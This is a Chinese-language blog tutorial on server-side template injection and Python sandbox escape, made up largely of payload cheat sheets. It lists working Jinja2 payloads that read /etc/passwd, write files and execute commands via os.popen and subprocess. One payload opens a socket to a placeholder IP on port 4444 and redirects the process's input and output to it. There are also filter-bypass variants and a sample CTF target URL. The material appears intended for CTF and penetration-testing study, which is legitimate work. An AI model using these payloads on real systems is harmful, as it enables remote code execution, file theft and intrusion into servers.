模板注入
SSTI服务端模板注入
一、什么是SSTI
首先web服务的实现中使用了模板引擎,并且将参数传递的值当作模板一部分进行渲染(渲染这个词可能有点抽象,可以简单理解为将参数作为代码的一部分解释并执行了),这就是SSTI,服务端模板执行。
模板注入原理
服务端可以使用哪些模板引擎?
由于服务端可以由python、java、php、javascript、ruby、golang等语言编写,所以可以选择的模板引擎挺多的,常见的有Jinja2、Django、Velocity、Groovy、Latte、ERB等待。
二、检测
1.利用Template Injection Table来检测
Template Injection Table:https://cheatsheet.hackmanit.de/template-injection-table/index.html
通过Template Injection Table复制中的测试payload输入到参数中并执行,查看回显的报错内容来判断模板类型。
每一个测试payload下面的行都是代表一种模板执行后返回的结果,如“{#${{1}}#}}”,尝试“http://114.67.175.224:15233/?flag={#${{1}}#}}”,结果如下图所示。
2.工具检测(最简单的方法)
可以通过工具tinja进行检测。
https://github.com/Hackmanit/TInjA
3.人工尝试
Jinja2 (Python)
{{7*7}} = Error ${7*7} = ${7*7} {{foobar}} Nothing {{4*4}}[[5*5]] {{7*'7'}} = 7777777 {{config}} {{config.items()}} {{settings.SECRET_KEY}} {{settings}} <div data-gb-custom-block data-tag="debug"></div>
更多尝试方法可以参考https://book.hacktricks.xyz/v/cn/pentesting-web/ssti-server-side-template-injection
在利用时还可以尝试一些特殊变量:https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
CSTI客户端模板注入
客户端只能使用 JavaScript 模板引擎。
沙箱逃逸
python沙箱逃逸
常见命令执行方式
os.system("ls") os.popen("ls").read() commands.getstatusoutput("ls") commands.getoutput("ls") commands.getstatus("file/path") subprocess.call("ls", shell=True) subprocess.Popen("ls", shell=True) pty.spawn("ls") platform.os.system("ls") pdb.os.system("ls") #Import functions to execute commands importlib.import_module("os").system("ls") importlib.__import__("os").system("ls") imp.load_source("os","/usr/lib/python3.8/os.py").system("ls") imp.os.system("ls") imp.sys.modules["os"].system("ls") sys.modules["os"].system("ls") __import__("os").system("ls") #Other interesting functions open("/etc/passwd").read() open('/var/www/html/input', 'w').write('123') #In Python2.7 execfile('/usr/lib/python2.7/os.py') system('ls')
另外,Python2 input() 函数允许在程序崩溃之前执行 Python 代码。
先到达顶层类'object',方法如下:
{{ dict.__base__.__subclasses__() }} {{ dict.mro()[-1].__subclasses__() }} {{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }} {% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} {{ ().__class__.__base__.__subclasses__() }} {{ [].__class__.__mro__[-1].__subclasses__() }} {{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }} {{ request.__class__.mro()[-1].__subclasses__() }} {% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} {{ [].class.base.subclasses() }} {{ ''.class.mro()[1].subclasses() }}
我们可以通过查看python预安装的库,看有哪些类可以使用。
预安装包查看:https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
读写文件
# ''.__class__.__mro__[1].__subclasses__()[40] = File class {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} {{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
命令执行
# The class 396 is the class <class 'subprocess.Popen'> {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} # Without '{{' and '}}' <div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div> # Calling os.popen without guessing the index of the class {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ## Passing the cmd line in a GET param {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} ## Passing the cmd line ?cmd=id, Without " and ' {{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
命令执行--升级版
# Read file {{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }} # RCE {{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }} {{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }} {{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }} {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %} ## Extra ## The global from config have a access to a function called import_string ## with this function you don't need to access the builtins {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }} # All the bypasses seen in the previous sections are also valid
使用默认安装的 Python 包绕过沙盒
标签:__,.__,subclasses,逃逸,ls,沙箱,os,class,模板 From: https://www.cnblogs.com/glodears/p/18214431